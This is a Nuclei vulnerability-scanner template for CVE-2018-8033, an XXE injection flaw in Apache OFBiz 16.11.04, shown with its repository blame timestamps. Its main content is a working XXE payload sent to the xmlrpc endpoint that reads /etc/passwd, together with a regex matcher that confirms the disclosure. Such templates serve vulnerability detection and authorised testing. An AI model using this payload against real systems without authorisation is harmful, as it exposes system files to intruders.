nuclei-templates/cves/2018/CVE-2018-8033.yaml

37 lines
1014 B
YAML
Raw Normal View History

2021-01-30 03:58:20 +00:00
id: CVE-2018-8033
info:
name: Apache OFBiz XXE
author: pikpikcu
severity: high
description: XXE injection (file disclosure) exploit for Apache OFBiz 16.11.04
tags: cve,cve2018,apache,ofbiz,xxe
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.50
cve-id: CVE-2018-8033
cwe-id: CWE-200
reference:
- https://lists.apache.org/thread.html/e8fb551e86e901932081f81ee9985bb72052b4d412f23d89b1282777@%3Cuser.ofbiz.apache.org%3E
2021-01-30 03:58:20 +00:00
requests:
- raw:
- |
POST /webtools/control/xmlrpc HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Language: en
Content-Type: application/xml
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
matchers-condition: and
matchers:
- type: regex
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2021-01-30 03:58:20 +00:00
part: body
- type: status
status:
- 200